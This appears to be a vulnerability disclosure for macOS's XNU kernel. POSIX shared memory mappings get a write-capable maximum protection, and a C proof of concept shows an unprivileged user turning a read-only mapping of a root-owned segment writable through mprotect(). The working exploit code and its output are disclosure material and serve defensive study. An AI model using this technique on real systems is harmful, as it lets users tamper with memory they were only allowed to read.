XNU POSIX Shared Memory Mapping Issue

XNU POSIX has an issue where shared memory mapping have an incorrect maximum protection.

MD5 | ac2760f95d5d33a22ed9bc8cebfab544

XNU: POSIX shared memory mappings have incorrect maximum protection 


When the mmap() syscall is invoked on a POSIX shared memory segment
(DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the
address space of the calling process. It does this with the following code:

int prot = uap->prot;
if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) {
kret = vm_map_enter_mem_object(
file_pos - map_pos,

vm_map_enter_mem_object() has the following declaration:

/* Enter a mapping of a memory object */
extern kern_return_t vm_map_enter_mem_object(
vm_map_t map,
vm_map_offset_t *address,
vm_map_size_t size,
vm_map_offset_t mask,
int flags,
vm_map_kernel_flags_t vmk_flags,
vm_tag_t tag,
ipc_port_t port,
vm_object_offset_t offset,
boolean_t needs_copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance);

This means that `cur_protection` (the initial protection flags for the new memory
object) will be `prot`, which contains the requested protection flags, checked
against the mode of the open file to ensure that a read-only file descriptor can
only be used to create a readonly mapping. However, `max_protection` is always
`VM_PROT_DEFAULT`, which is defined as `VM_PROT_READ|VM_PROT_WRITE`.

Therefore, an attacker with readonly access to a POSIX shared memory segment can
first use mmap() to create a readonly shared mapping of it, then use mprotect()
- which is limited by `max_protection` - to gain write access.

To reproduce:

In terminal 1, as root:
bash-3.2# cat > create.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644);
if (fd == -1) err(1, "shm_open");
if (ftruncate(fd, 0x1000)) err(1, "trunc");
char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "mmap");
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
printf("press enter to continue\n");
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
bash-3.2# cc -o create create.c && ./create
map[0] = 0x0
press enter to continue

In terminal 2, as user:
Projects-Mac-mini:posix_shm projectzero$ cat > open.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>

int main(void) {
int fd = shm_open("/jh_test", O_RDWR);
if (fd == -1) perror("open RW");

fd = shm_open("/jh_test", O_RDONLY);
if (fd == -1) err(1, "open RO");

char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) perror("map RW");

map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "map RO");

if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect");

map[0] = 0x42;
Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open
open RW: Permission denied
map RW: Operation not permitted
Projects-Mac-mini:posix_shm projectzero$

Then, in terminal 1, press enter to continue:

map[0] = 0x42

This demonstrates that the user was able to write to a root-owned POSIX shared
memory segment with mode 0644.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: jannh

Related Posts